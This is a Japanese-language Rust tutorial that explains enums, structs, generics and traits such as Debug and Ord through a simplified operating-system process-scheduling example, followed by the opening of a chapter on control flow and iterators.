列挙型、略して「enum」は、取り得る値が名前付き定数の集合である型を定義できるようにします。 最も基本的な使い方では、Rust の enum は他のほとんどの言語に存在する enum と似ています。

これからいくつかのセクションにわたって、実行例として、複数のプロセス(メモリ上に存在する、プログラムの分離されたインスタンス)を実行できるオペレーティングシステム(OS)を使います。 Rust コードの構成要素が特定の領域にどのように対応できるかを示すためです2。 そして、その過程でいくつかの OS の概念を学ぶ、または復習します。

あるプロセスは、任意の時点で次の 3 つの状態のいずれかにあると仮定しましょう。

  1. Running - 現在 CPU コア上で実行中。

  2. Stopped - 無期限に一時停止中(たとえば、ユーザーが Ctrl+Z を押した可能性があります)。

  3. Sleeping - 一時的に停止中(たとえば、ユーザー入力のようなデータが利用可能になるのを待っている可能性があります)。

enum は、相互に排他的でありながら関連する可能性を表現する自然な方法です。 3 つのバリアント(名前付き定数 RunningStoppedSleeping)を持つ State enum を宣言できます。

pub enum State {
    Running,
    Stopped,
    Sleeping,
}

OS は、プロセスが現在どの状態にあるかに応じて異なるアクションを取る必要があります。 たとえば、内部タイマーが切れたとき(例: 「割り込みが発生する」)、現在実行中のプロセスを停止し、その状態を保存し、別のプロセスを実行または復元するタイミングかもしれません。 CPU 時間は共有リソースであり、プロセスは順番に使う必要があります。

Rust は、どのロジックを実行すべきかを条件付きで決定する手段として、パターンマッチングをサポートしています。 一般的な用途の 1 つは、enum のバリアントに対してマッチングすることです。 たとえば、OS はプロセスの状態に応じて異なる関数を実行できます。

fn manage_process(curr_state: State) {
    match curr_state {
        State::Running => stop_and_schedule_another_process(),
        State::Stopped => assign_to_available_cpu_core(),
        State::Sleeping => check_if_data_ready_and_wake_if_so(),
    }
}

match の括弧内の各行はアームと呼ばれます。 パターンは矢印演算子(=>)の左側にあり、そのパターンにマッチした場合に実行されるコードは右側にあります。 制御フローを扱う次のセクションで、パターンマッチングについてさらに詳しく説明します。

Rust の enum が C、C++、その他多くの言語の enum と異なる点は、さまざまな型の追加データをカプセル化できることです。 この能力により、Rust の enum は関数型言語における「直和型」(これは「代数的データ型」の特定の一種です)に似たものになります。 実際には、これは各バリアントに任意のデータを格納できる柔軟性があることを意味します。 そのデータは、さらに別の enum であることさえあります。

より細かなプロセス状態表現に対する設計要件があったとしましょう。 具体的には、OS が次のことを行う必要があるとします。

  • 2 種類の停止要求を追跡する: プロセスが無視できるものと、無視できないもの。

  • sleeping 状態のプロセスについて開始タイムスタンプを記録し、後で sleeping 状態のプロセスがどれだけ長く非アクティブだったかを計算する。

State enum を、新しい要件を反映した DetailedState に置き換えることができます。

#[derive(Debug, PartialEq, Eq, PartialOrd, Ord)]
pub enum StopKind {
    Mandatory, // Linux SIGSTOP
    Ignorable, // Linux SIGTSTP
}

pub enum DetailedState {
    Running,
    Stopped { reason: StopKind },
    Sleeping { start_time: u64 },
}

Stopped バリアントには別の enum(StopKind - その上の #[derive(... は今は無視してください)が含まれるようになり、Sleeping バリアントには u64 タイムスタンプ(UNIX のエポック表現に似たもの3)が含まれるようになったことに注目してください。 それでも、Running バリアントは空のままです。

バリアント内にカプセル化されるデータ型は自由に選択でき、マッチング時には内部の型を「取り出す」こともできます。 以下のスニペットは、最初のアームが Stopped バリアントの内部データをチェックするテストです。 2 番目のアームはワイルドカード(_)を使用して、このテストが他のどのバリアントにもマッチしないことを表明しています(state がハードコードされているためです)。

#[test]
fn test_detailed_stop_match() {
    let state = DetailedState::Stopped {
        reason: StopKind::Mandatory,
    };
    match state {
        DetailedState::Stopped { reason } => {
            assert_eq!(reason, StopKind::Mandatory);
        }
        _ => unreachable!(), // 到達した場合、実行時にパニックする
    }
}

厄介な細部が 1 つあります。enum のメモリ上のサイズは、最大のバリアントによって決まります。 Running バリアントのインスタンスは、後者の方がより多くの情報を保持しているにもかかわらず、Sleeping バリアントのインスタンスと同じサイズです。 メモリレイアウトは頻繁に考える必要があるものではありませんが、注目に値します。 私たちは高機能な直和型を使っているかもしれませんが、それでも低レベルのコードを書いているのです。

構造体

構造体、具体的には以下のような名前付きフィールドを持つ struct は、ほとんどの Rust プログラムでデータを表現する主要な方法です。 Rust の struct は、Python のクラスや Java のオブジェクトと同じ目的を果たします。つまり、データと、そのデータを操作する関数をまとめる方法です4

OS カーネルの主な責務の 1 つはタスクスケジューリング、つまりどのプロセス(またはそのスレッド)をどの CPU コア上でどれだけの時間実行すべきかを決定することです。 多くのプログラムは複数のプロセスで構成されており、親プロセスは 1 つ以上の子プロセスを作成できます。

OS を実装しているとしたら、プロセスに関連するデータを struct にまとめたいと思うでしょう。 単純化した例5は、次のようになります。

pub struct Proc {
    pid: u32,           // プロセス ID(符号なし整数)
    state: State,       // 現在の状態(enum)
    children: Vec<u32>, // 子 ID(動的リスト)
}

マルチプロセスプログラムはどのように動作するのか?

あるプログラム(親プロセス)は、2つ目の補助プログラム(子プロセス)を起動(たとえば「spawn」)できます。 補助プログラムが独立した作業を行っている場合、最新のマルチコアシステムでは、両方を同時に実行できます。 親はあるコア上で実行され、子は別のコア上で実行されます。

これが、Webブラウザーをより高速で応答性が高いように感じさせる要因です。 デフォルトでは、Chromium は接続先のWebサイトごとに1つのプロセスを実行します6

Proc 構造体は、問題領域における概念(OSが管理するプロセスという考え方)を型付きデータとして表します。 データを扱いやすくするために、前の章で Rc4 構造体に対して行ったのと同じように、メソッド(self パラメーターを持つ)と関連関数(self パラメーターを持たない)を追加することになるでしょう。 どちらの種類の関数も、構造体の impl ブロック内で定義する必要があります。 例:

impl Proc {
    /// 関連関数(コンストラクター)
    pub fn new(pid: u32) -> Self {
        Proc {
            pid,
            state: State::Stopped,
            children: Vec::new()
        }
    }

    /// メソッド(self を受け取る。この場合は可変セッター)
    pub fn set_state(&mut self, new_state: State) {
        self.state = new_state;
    }

    // ...ここにさらにメソッド/関数
}

名前付きフィールド(pidstatechildren)はデフォルトで非公開であることに注意してください。 それらには、その構造体が定義されているモジュール内のコードからしかアクセスできません。 モジュールは関連するコードをまとめる方法であり、Rust における名前空間のようなものだと考えてください。

このコードが Proc をインポートした別のモジュールにある場合、非公開フィールド state に代入できないため、コンパイルされません。

use my_os_module::Proc;

let mut my_proc = Proc::new(0);
my_proc.state = State::Running;

そのためセッターメソッドを定義しました。以下は動作します。

use my_os_module::Proc;

let mut my_proc = Proc::new(0);
my_proc.set_state(State::Running);

このようなデータのカプセル化7は、公開APIにおけるベストプラクティスと見なされています。 ただし必須ではなく、常に適切であるとも限りません。 外部コードから state を書き込み可能にしたい場合(たとえば my_proc.state = State::Running; が動作するようにしたい場合)は、宣言時に pub 可視性指定子を使用できます。

pub struct Proc {
    pid: u32,           // プロセスID(符号なし整数)
    pub state: State,   // 現在の状態(列挙型)
    children: Vec<u32>, // 子ID(動的リスト)
}

モジュールと可視性については、この章の後半で説明します。

Rust が保守的なアプローチを取っていることに注目してください。外部への可視性、可変性、安全でない操作はいずれも、明示的なオプトインを必要とします。 これは、大規模なプログラムにおける潜在的なエラー要因を減らすのに役立つ、意識的な設計上の選択です。

ジェネリクス

私たちはすでにジェネリックなライブラリを使っています。標準ライブラリの Vec です。 これは Vec<T> として定義されており、T はジェネリック型です。 そのため、格納したい要素の型ごとに異なるライブラリAPIを使う必要なく、符号なし整数のベクター(Vec<usize>)と文字列のベクター(Vec<String>)の両方を持つことができます。

自分のために単一の趣味OSを書いているのではなく、実際には再利用可能なスケジューリングライブラリ、つまりOSを書く誰もが利用できる可能性のあるコードを書いていると想像してください。 ここでジェネリクスが登場します。 構造体や関数の特定のインスタンスを作成する代わりに、あなたのコードの利用者がを差し込めるテンプレートを定義できます。 将来書かれる外部コードで定義されたカスタム型も含めることができます!

あなたの利用者の中には、同時に100個を超えるプロセスが実行されることが決してない、小さな組み込みデバイス向けのOSを書いている人がいるかもしれません。 彼らは pid を表すために u32 ではなく u8 を使うことで、貴重なメモリを節約する必要があります。 しかし、単に pid の型を u8 に変更することはできません。他の利用者は数千のプロセスを表す必要があるからです。 Proc の定義と実装をジェネリックに更新すれば、両方のグループに対応できます。

pub struct Proc<T> {
    pid: T,             // プロセスID(ジェネリック)
    pub state: State,   // 現在の状態(列挙型)
    children: Vec<T>,   // 子ID(動的リスト、ジェネリック)
}

impl<T> Proc<T> {
    // 関連関数(コンストラクター)
    pub fn new(pid: T) -> Self {
        Proc {
            pid,
            state: State::Stopped,
            children: Vec::new()
        }
    }

    // ...ここにさらにメソッド/関数
}

リソース制約のある利用者は let mut my_proc: Proc<u8> = Proc::new(0); を指定でき、他の利用者は let mut my_proc: Proc<u32> = Proc::new(0); を使えます。 私たちのコードは、どちらにも対応できるだけの柔軟性を持つようになります。

最終的なバイナリ内でジェネリクスはどのように動作するのか?

Rust コンパイラーは、単相化によってジェネリクスを実装します。 各呼び出し箇所で使用される具体的な型(u8 など)ごとに、コンパイラーは出力バイナリ内に特殊化されたコードを生成します。 そのため、ジェネリクスには実行時コストがありません。各一意な T の「テンプレート」が、最終的な実行可能ファイル内に1つの「スタンプ」(一意なコード)を作成します。

ジェネリクスは Rust の中核的な機能であり、頻繁に目にすることになります。 トレイトと組み合わせることで、再利用可能で保守しやすいソフトウェアコンポーネントの作成が可能になります。

トレイト

ここまで説明してきた構成要素は、主流の言語からそれほど大きく外れたものではありません。 Rust の列挙型とパターンマッチングは、すでに馴染みのある言語機能の拡張のように感じられるでしょう。 多くの読者にとって、Rust がかなり違って感じられ始めるのはトレイトからです。

以前、Rust の構造体は Python のクラスや Java のオブジェクトと同じ役割を果たすと述べました。 しかし、これら2つの言語とは異なり、Rust は継承をサポートしていません。 クラス階層は存在せず、構造体が親からフィールドやメソッドを継承することはできません。

その代わり、共有される振る舞いは合成によって、つまりトレイトを通じて定義されます。 このアプローチは、オブジェクト指向言語においてさえベストプラクティスだと考える人もいます8

コードレベルの仕組みとしては、トレイトはオブジェクト指向言語における「抽象基底クラス」に似ています。 つまり、トレイトを実装する任意の型がサポートしなければならないインターフェース(APIの集合)を定義するということです。

型は1つ以上のトレイトを実装でき、そうすることで、そのトレイトが適切な任意のコンテキストでその型を使用できるようになります。

そもそも継承とは何でしょうか?

継承は「サブタイプ多相」の一種で、2つの型の限定的な置換を可能にします。

たとえば、Vehicle クラスに accelerate(int speed_mph) メソッドがあり、CarPlane の両方のサブクラスがそれを継承しているとします。 Vehicle の派生型の配列を処理し、CarPlane の両方で accelerate を呼び出すコードを書きたいとします。 継承がその目標を達成する方法は2つあり、ほとんどの言語はその両方を提供しています。

  • インターフェイス継承: CarPlaneVehicle の公開メソッドインターフェイスを共有しますが、実際の accelerate の実装はそれぞれ独自にオーバーライドします。ここで、Vehicle は「抽象基底クラス」として機能します。Rust のトレイトはこのベストプラクティスを体現しています。

  • 実装継承: CarPlaneVehicle の汎用的な accelerate メソッドのデータと実装を共有します。このパターンは実際のプログラムで広く使われていますが、基底クラスと派生クラスが密結合になるため、コードの保守や拡張が難しくなる可能性があります。

では、トレイトはどのような振る舞いを指定できるのでしょうか? また、それらをどのように利用するのでしょうか? それを確認するために、Proc 構造体に2つのトレイトを追加してみましょう。

トレイト Debug を導出する

構造体のテキスト表現を出力できることは、デバッグに役立ちます。 実際、これは非常によくあるニーズであるため、Rust はこの目的専用のデフォルトのフォーマット指定子 {:?} を提供しています。 これを使って、元の非ジェネリックな Proc 構造体を出力してみましょう。

pub enum State {
    Running,
    Stopped,
    Sleeping,
}

pub struct Proc {
    pid: u32,           // プロセスID(符号なし整数)
    state: State,       // 現在の状態(列挙型)
    children: Vec<u32>, // 子ID(動的リスト)
}

fn main() {
    let my_proc = Proc {
        pid: 1,
        state: State::Stopped,
        children: Vec::new(),
    };

    println!("{:?}", my_proc);
}

次のエラーが発生します(いくつかの行は省略しています)。

error[E0277]: `Proc` doesn't implement `Debug`
  --> src/main.rs:20:22
   |
20 |     println!("{:?}", my_proc);
   |                      ^^^^^^^ `Proc` cannot be formatted using `{:?}`
   |
   = help: the trait `Debug` is not implemented for `Proc`
   = note: add `#[derive(Debug)]` to `Proc` or manually `impl Debug for Proc`

{:?} を使いたい場合、コンパイラは ProcDebug トレイト9を実装していることを必要とします。 このトレイトは、実装者をコンソールへどのように出力すべきかを定義するもので、一般的かつ望ましい振る舞いです。 この時点で選択肢は2つあります。

  1. std::fmt::Debug のドキュメント9を確認し、それが要求するインターフェイスを理解して(この場合は関数1つだけです)、impl Debug for Proc { ... } ブロック内でそのインターフェイスを実装する。

  2. derive マクロ #[derive(Debug)] を使って、トレイトを自動的に導出してみる。

後者の選択肢のほうが簡単で、ドキュメント9でも推奨されている方法です。

Rust のドキュメントに慣れる

まだ行っていない場合は、ここで少し時間を取って Debug トレイトのドキュメント9を確認してください。 関数シグネチャ全体はまだ理解できないかもしれませんが、それでも大まかなところはつかめるはずです。

ライブラリのドキュメントを理解することは、どんな開発者にとっても重要なスキルですが、Rust プログラミングでは特に役立ちます。 Rust には組み込みのファーストパーティ製ドキュメントジェネレーターがあるため、人気のあるライブラリは十分に文書化されている傾向があります(これについては後ほど取り上げます!)。

提案された更新を行ってみましょう。

#[derive(Debug)]
pub struct Proc {
    pid: u32,           // プロセスID(符号なし整数)
    state: State,       // 現在の状態(列挙型)
    children: Vec<u32>, // 子ID(動的リスト)
}

今度は新しいエラーが発生します(別名、プログラマーにとっての「進捗」)。

error[E0277]: `State` doesn't implement `Debug`
  --> src/main.rs:10:5
   |
7  | #[derive(Debug)]
   |          ----- in this derive macro expansion
...
10 |     state: State,       // 現在の状態(列挙型)
   |     ^^^^^^^^^^^^ `State` cannot be formatted using `{:?}`
   |
   = help: the trait `Debug` is not implemented for `State`
   = note: add `#[derive(Debug)]` to `State` or manually `impl Debug for State`

まあ、完全に新しいわけではありません。これは先ほどと同じエラーですが、今回は Procstate フィールドに対するものです。 合成によって振る舞いを定義するという考え方を覚えていますか?

構造体の個々のフィールドすべてが Debug トレイトを実装しているなら、構造体全体に対してそれを導出するのは簡単です。その振る舞いは、各フィールドの個別の振る舞いを合成したものにすぎません。 すべてを厳格な階層に押し込む必要なく、強力な抽象化を構築し、既存のコードを再利用できます。

この2つ目のエラーによると、残っている唯一の障害は State 型が Debug を実装していないことです。 それを修正しましょう。

#[derive(Debug)]
pub enum State {
    Running,
    Stopped,
    Sleeping,
}

これでプログラムはコンパイルされ、実行できるようになります。 期待どおりの出力が得られます。

Proc { pid: 1, state: Stopped, children: [] }

Debug 出力のクイックヒント

システムコードのデバッグでは、構造体を16進数値で、かつ1フィールドにつき1行で出力すると便利なことがよくあります。 main の最後の行を println!("{:#x?}", my_proc); に更新すると、プログラムは次のように出力します。

Proc {
  pid: 0x1,
  state: Stopped,
  children: [],
}

トレイト Ord を実装する

トレイトは常に自動導出できるとは限りません。 たとえば、Aead トレイト10を考えてみましょう。 これはサードパーティライブラリで定義されており、Associated Data 付き認証暗号(Authenticated Encryption with Associated Data、AEAD)暗号のための[非公式な]インターフェイスを指定しています。 前の章で見たように、これはメッセージの機密性完全性の両方を提供する暗号アルゴリズムのファミリーです11

Rust のトレイトシステムは強力ですが、derive マクロが暗号コードを合成してくれるわけではありません。 トレイトは単なるインターフェイスであり、背後にあるロジックは自分で実装しなければならないことがよくあります。

さらに、トレイトが導出可能であっても、デフォルトの振る舞いが望むものとは限りません。 たとえば、OS がプロセス構造体のソート済みリストを維持する必要があるとします。 ソートには「順序」の概念が必要です。 数学者が「全順序」12と呼ぶものです。 根底にある考え方は、論理比較演算子(==><= など)を使ってソートしたいということであり、これらの比較を曖昧さなく行える必要があります。

Rust の標準ライブラリには、順序付け専用のトレイト Ord13 が含まれています。 これを実装した型は、同じ型の項目と比較可能になり、そのコレクションはソート可能になります。 多くの文脈で、これはサポートすると非常に有用な振る舞いです。

Proc に対して Ord を導出できるでしょうか? はい、できます。 ただし、ドキュメント13によると、Ord は他のトレイト、すなわち PartialEqEqPartialOrd に依存しています。 なぜなら、トレイト自体も合成によって定義できるからです!

これら4つの順序関連トレイトの違いについて細かくこだわるのはやめましょう。 代わりに、それらを導出すると何が起こるかを考えてみましょう。

#[derive(Debug, PartialEq, Eq, PartialOrd, Ord)]
pub enum State {
    Running,
    Stopped,
    Sleeping,
}

#[derive(Debug, PartialEq, Eq, PartialOrd, Ord)]
pub struct Proc {
    pid: u32,           // プロセスID(符号なし整数)
    state: State,       // 現在の状態(enum)
    children: Vec<u32>, // 子ID(動的リスト)
}

fn main() {
    let my_proc_stopped = Proc {
        pid: 1,
        state: State::Stopped,
        children: Vec::new(),
    };

    let my_proc_sleeping = Proc {
        pid: 3,
        state: State::Sleeping,
        children: Vec::new(),
    };

    let my_proc_running = Proc {
        pid: 2,
        state: State::Running,
        children: Vec::new(),
    };

    let mut proc_queue = vec![
        my_proc_stopped,
        my_proc_sleeping,
        my_proc_running,
    ];

    proc_queue.sort();

    println!("{:#?}", proc_queue);
}

上記では、3つのプロセスからなる Vecproc_queue)を作成し、それをソートしています。 なぜ proc_queue.sort() を呼び出せるのでしょうか? Vec<T> のドキュメント14にある sort の関数シグネチャを考えてみましょう。

pub fn sort(&mut self)
where
    T: Ord,
{
    // ...ここにコード
}

where T: Ordトレイト境界 です。 これは、その関数が機能するために T がどのような振る舞いをサポートする必要があるかを規定します。 つまり、sort は任意の Vec<T> で利用できますが、TOrd を実装する型である場合に限られます。 上記のコードが動作する理由は次のとおりです。

  1. 型推論により let mut proc_queue: Vec<Proc> = ... が補完されました。

  2. Proc 構造体が Ord トレイトを導出しました。

トレイト境界は、コードの再利用とライブラリの組み合わせやすさに大きな影響を及ぼします。 Vec はジェネリックなコンテナであり(まだ発明されていない型に対しても動作します)、特定の振る舞いをサポートする要素に対して追加の機能を提供します(たとえば、順序付け可能な型をソートするなど)。

しかし、Vec は公式の標準ライブラリだけが実装できるような一回限りの特別なものではありません。 任意の Rust 開発者も同様に、ジェネリクスとトレイトを使って、同じくらい有用なデータ構造を実装できます。 本書では、別の標準ライブラリコレクションと API 互換の代替実装を書きます。

トレイト境界により、異なるコンポーネントを迅速かつ自信を持って組み合わせ、大規模で調和の取れたシステムを構築できます。 これは強力な高レベルの構成要素です。

Rust 構文を読む

Rust を読むことに慣れるには時間がかかります。構文が複雑だからです。 where キーワードは実際には可読性のための便宜的なもので、上記の sort シグネチャは次と同等です。

pub fn sort<T: Ord>(&mut self) {
   // ...ここにコード
}

しかし、T はどこから来たのでしょうか? どちらの sort のバリエーションも単独の関数ではなく、どちらも Vec<T>impl ブロック内に存在します。 簡潔にするためその詳細は省略しましたが、これは重要な点です。

impl<T> Vec<T> {
  pub fn sort<T: Ord>(&mut self) {
      // ...ここにコード
  }

  // ...ここに他の関数
}

したがって、トレイト境界のおかげで、sort() の呼び出しは機能します。 しかし、それはうまく機能しているのでしょうか? これは議論の余地があります。出力を見ると、pid でソートされていることがわかります。

[
    Proc {
        pid: 1,
        state: Stopped,
        children: [],
    },
    Proc {
        pid: 2,
        state: Running,
        children: [],
    },
    Proc {
        pid: 3,
        state: Sleeping,
        children: [],
    },
]

導出された複合的な振る舞いは、構造体の1番目のフィールド(pid)でソートしようとします。 値がたまたま等しい場合は、2番目のフィールド(state。これも Ord を導出しています)でソートします。 それらの値もたまたま等しい場合は、3番目のフィールド(children)でソートします。以降も同様です。

これはコンパイルされて実行されましたが、私たちが望む振る舞いとは少し異なります。 私たちの OS がこのプロセス一覧をスケジューリングキューとして使い、次にどのプロセスを実行するかを決めると想像してください。 その場合、pid 優先ではなく、何らかの優先度の概念に基づいてソートする必要があります。

現実世界のスケジューリングアルゴリズムは複雑になり得ます15。 簡単にするため、ここでは現在の State のみに基づく3つの優先度があると仮定します。 Sleeping のプロセスは実行対象として最も高い優先度を持つべきで、その次に Stopped のプロセスが続きます。 Running のプロセスは、定義上すでに実行中であり、最も低い優先度です。 それらはリストの末尾に置きたいとします。 いよいよ Ord を難しい方法で実装する時です!

まず、State enum が内部でどのように機能するかをもう少し理解する必要があります。 メモリ上では、各バリアントは 判別子、つまり整数値で始まります。 これはそのバリアントに固有のタグのようなものです。

もし2つの pid が等しかった場合、state を見てソートの同順位を解決する必要がありました。 したがって、この判別子の整数値がソートに関わることになります。 State に導出された Ord はそのまま残しつつ、デフォルト値を上書きして、選択した優先度を反映しましょう。

#[derive(Debug, PartialEq, Eq, PartialOrd, Ord)]
pub enum State {
    Running = 3,    // デフォルトでは0
    Stopped = 2,    // デフォルトでは1
    Sleeping = 1,   // デフォルトでは2
}

Proc 構造体については、各ドキュメントに従って、Ord16PartialOrd17PartialEq18 トレイトで必要とされる実際の関数を実装します。 Eq19 は引き続き導出できます。これは PartialEq によって暗黙に示され、独自のメソッドを持たないためです(これは他のトレイトには一般化できない技術的な事情です)。

use std::cmp::Ordering;

#[derive(Debug, Eq)]
pub struct Proc {
    pid: u32,           // プロセスID(符号なし整数)
    state: State,       // 現在の状態(enum)
    children: Vec<u32>, // 子ID(動的リスト)
}

impl Ord for Proc {
    fn cmp(&self, other: &Self) -> Ordering {
        self.state.cmp(&other.state)
    }
}

impl PartialOrd for Proc {
    fn partial_cmp(&self, other: &Self) -> Option<Ordering> {
        Some(self.cmp(other))
    }
}

impl PartialEq for Proc {
    fn eq(&self, other: &Self) -> bool {
        self.state == other.state
    }
}

上記のコードの詳細そのものよりも、その含意の方が重要です。これで言語は非常に根本的なレベルで、Proc 構造体の順序付けを行う際に state フィールドだけを考慮するようになります。 いくつかの特定のトレイトを実装することで、ソートや比較のようなさまざまなコンテキストにおいて、その構造体がどのように振る舞うかを定めたのです。

この新しい Ord の実装と、それが依存するトレイトにより、println!("{:#?}", proc_queue); は、私たちが望む state 優先の順序を出力するようになります。

[
    Proc {
        pid: 3,
        state: Sleeping,
        children: [],
    },
    Proc {
        pid: 1,
        state: Stopped,
        children: [],
    },
    Proc {
        pid: 2,
        state: Running,
        children: [],
    },
]

注意してください。トレイトは強力です!

トレイトを手動で実装することで、ソートのために Proc 構造体をどのように順序付けるべきかだけでなく、2つの Proc 構造体が等しいとは何を意味するのかも変更しました!

これで、同じ state を持つ任意の2つの構造体は、たとえ異なる pidchildren を持っていても、== 演算子に関する限り論理的に同等であると見なされます。

トレイトを手動で実装するときは常に、その実装がもたらすすべての影響が、あなたのプログラムにとって本当に適切であることを確認することが重要です。

この場合、トレイトの実装は実際には過剰です(重要な概念を説明するためだけに行いました)。 代わりに、enum の判別子を更新した後で、Vecsort_by_key 関数20を使うこともできました。

proc_queue.sort_by_key(|p| p.state);

要点

Rust が高レベルの構成要素を表現するために備えている機能には、enum、構造体、ジェネリクス、トレイトがあります。 振り返ると、次のとおりです。

  • enum は、取り得る値の有限集合を表現するのに役立ちますが、追加のデータを保持することもできます。

  • 構造体は、関連するデータと、それに対して動作する関数をまとめる方法であり、他の言語におけるクラスやオブジェクトに似ています。

  • ジェネリクスはコードの再利用を可能にします。関数や構造は一度だけ書けばよく、それでいて異なる型をサポートできます。コード重複を避けるのに便利というだけでなく、ライブラリ設計にとっては本当に強力な機能です。

  • トレイトは、コンポジションを通じて共有される振る舞いを可能にします。トレイトは特定のインターフェイスを定義し、derive したり実装したりでき、ジェネリックパラメーターに境界として指定されたときに特に有用になります。

所有権に踏み込む前に、より単純なトピックである制御フローについて話して、少し一息つきましょう。

ドメイン固有の不変条件を型システムに直接エンコードできるでしょうか?

限定的ながらも強力な形で、できます。 ときには、重要なドメイン固有の振る舞いを状態機械としてモデル化できます。 それは一連の状態を遷移する構造であり、特定の操作は特定の状態でのみ実行できます。 そして、合法な遷移も特定のものだけです。

typestate パターンは、構造体が取り得る実行時状態をコンパイル時にエンコードする方法です。 これにより、状態に関連するエラー(静的な正しさ)と、一部の実行時チェックの必要性(性能)の両方を排除できます。前者の利点は、次のものに適しています。

[RR、Directive 4.13] リソースに対して動作する関数は、正しい順序で呼び出されなければならない21

typestate パターンの Rust における実装については、将来の付録セクションで扱います。


  1. The Rust Reference: Influences. The Rust Team (2021).

  2. Tock. Tock OS (2022年参照)。オペレーティングシステムは、おそらくシステムソフトウェアの典型的な例であり、Rust がよく適している領域です。Rust で書かれた OS はいくつかあり、Tock はその1つです。

  3. The Current Epoch Unix Timestamp. Dan’s Tools (2022年参照)。

  4. Rust では、enum に対してメソッドや関連関数を定義することもできます。構造体に限定されているわけではありません。しかし、構造体のほうがより一般的に使われており、多くのプログラミング問題では、複数の異なるバリアントを持つデータのグループを表現する必要はありません。

  5. 実際の OS ははるかに複雑なタスク構造を持っており、このセクションの例は大幅に簡略化されています。興味があれば、Linux の task_struct のソースコードをこちらで確認できます。

  6. Process Models. The Chromium Project (2022年参照)。

  7. Data encapsulation. Wikipedia (2022年参照)。

  8. Composition over inheritance. Wikipedia (2022年参照)。

  9. トレイト std::fmt::Debug. The Rust Team (2022年参照)。 ↩2 ↩3 ↩4

  10. トレイト aead::Aead. RustCrypto organization (2022年参照)。

  11. Authenticated encryption. Wikipedia (2022年参照)。

  12. 全順序 Wikipedia (2022年参照)。

  13. トレイト std::cmp::Ord. The Rust Team (2022年参照)。 ↩2

  14. sort. The Rust Team (2022年参照)。

  15. Scheduling Algorithms. OSDev Wiki (2021)。

  16. トレイト std::cmp::Ord. The Rust Team (2022年参照)。

  17. トレイト std::cmp::PartialOrd. The Rust Team (2022年参照)。

  18. トレイト std::cmp::PartialEq. The Rust Team (2022年参照)。

  19. トレイト std::cmp::Eq. The Rust Team (2022年参照)。

  20. sort_by_key. The Rust Team (2022年参照)。

  21. MISRA C: 2012 Guidelines for the use of the C language in critical systems (3rd edition). MISRA (2019).

Rust: 制御フロー(3/6)

ほとんど1すべての有用なプログラムは、条件に基づいて何らかの判断を行うか、何らかのロジックを複数回実行します。 したがって、すべての命令型プログラミング言語は、制御フローを決定するための何らかの仕組みを提供します。つまり、個々の文が実行される順序を決める仕組みです。

言語は、制御フローを表現するために同じような少数の構文に落ち着く傾向があります。 Rust も例外ではありません。 Rust のパターンマッチングは、あなたがどの言語から来たかによっては新しいものかもしれませんが、条件文やループは馴染みのあるものに感じられるはずです。

条件文

if キーワードと else キーワードは、おおむね期待どおりに動作します。

fn conditional_print(num: usize) {
    if num > 10 {
        println!("{} is greater than 10.", num);
    } else if num % 2 == 0 {
        println!("{} is even.", num);
    } else {
        println!("{} is odd.", num);
    }
}

fn main() {
    conditional_print(11);
    conditional_print(4);
    conditional_print(5);
}

上記の出力は次のとおりです。

11 is greater than 10.
4 is even.
5 is odd.

Rust が異なる点は、if キーワードの後の条件が bool 型に評価されなければならないことです。 暗黙的なキャストは許可されません。 この厳格さは、別の MISRA ルールに従う助けになります。

[AR, Rule 14.4] if 式は boolean 型に評価されなければならない2

他の多くの言語では、条件文に対して厳密な型付けを強制していません。

  • Python では、条件が None 値に評価されると、それは暗黙的に false にキャストされます。

  • 同様に C では、ゼロの整数は暗黙的に false にキャストされます(非ゼロは true にキャストされます)。

これは、Rust で条件を表現する能力を妨げるものではありません。 x == Noney != 0 は、依然として明示的に書き下すことができます。 しかし、潜在的なエラーの原因を 1 つ取り除くことにはなります。

While ループ

while キーワードを使うと、boolean 条件が成り立っている限りループを実行し続けることができます。 以下は 10 から 1 までのカウントダウンを出力します。

#![allow(unused)]
fn main() {
let mut countdown = 10;

while countdown > 0 {
    println!("{}...", countdown);
    countdown -= 1;
}
}

Rust は「do while」ループを直接サポートしていませんが、同じロジックは loop キーワードと break キーワードを使って実装できます。 同等のカウントダウンは次のように実装できます。

#![allow(unused)]
fn main() {
let mut countdown = 10;

loop {
    println!("{}...", countdown);
    countdown -= 1;
    if countdown == 0 {
        break;
    }
}
}

For ループ

for キーワードを使うと、任意のイテラブルをループできます。 範囲を例に取りましょう。 以下は 0 から 9 までの数値を出力します。

#![allow(unused)]
fn main() {
for i in 0..10 {
    println!("{}", i);
}
}

ループ内でコレクションの要素にアクセスしたい場合はどうでしょうか。 表面的には、私たちの for 構文は「そのまま動く」ように見えます。

#![allow(unused)]
fn main() {
use std::collections::{HashSet, BTreeSet};

// リスト
let list = vec![3, 2, 1];

println!("Iterating over vector:");

for item in list {
    println!("list item: {}", item);
}

// 順序付き集合
let mut o_set = BTreeSet::new();
o_set.insert(3);
o_set.insert(2);
o_set.insert(1);

println!("\nIterating over ordered set:");

for elem in o_set {
    println!("set element: {}", elem);
}

// ハッシュ集合
let mut h_set = HashSet::new();
h_set.insert(3);
h_set.insert(2);
h_set.insert(1);

println!("\nIterating over hash set:");

for elem in h_set {
    println!("set element: {}", elem);
}
}

しかし、上記の出力を考えてみましょう。

Iterating over vector:
list item: 3
list item: 2
list item: 1

Iterating over ordered set:
set element: 1
set element: 2
set element: 3

Iterating over hash set:
set element: 2
set element: 3
set element: 1

各コレクションには、要素にアクセスするための独自の戦略があります。

  • Vec(リスト)は、値を挿入された順序で返します。
  • BTreeSet(順序付き集合)は、互いに相対的なソート順で値を返します。
  • HashSet(ハッシュ集合)には、ソート順であれ挿入順であれ、順序という概念がありません。

内部では、各コレクションが独自のイテレーターを実装しています。 それぞれ独自のロジックを持っていますが、共通のインターフェイスである Iterator トレイトを共有しています3for ループはこのインターフェイスを活用して、基盤となるデータ構造の走査を行います。

イテレーターは慣用的な Rust の重要な一部であり、独自のイテレーターを実装することに丸ごと 1 章を割きます。 今は、イテレーターが便利さの世界を可能にすることを知っておいてください。 たとえば列挙です。

#![allow(unused)]
fn main() {
let list = vec![3, 2, 1];

for (i, item) in list.iter().enumerate() {
    println!("list item {}: {}", i, item);
}

// 出力:
//
// list item 0: 3
// list item 1: 2
// list item 2: 1
}

そして関数型の変換です。

#![allow(unused)]
fn main() {
let list = vec![3, 2, 1];

let triple_list: Vec<_> = list.iter().map(|x| x * 3).collect();

for item in triple_list {
    println!("triple_list item: {}", item);
}

// 出力:
// triple_list item: 9
// triple_list item: 6
// triple_list item: 3
}

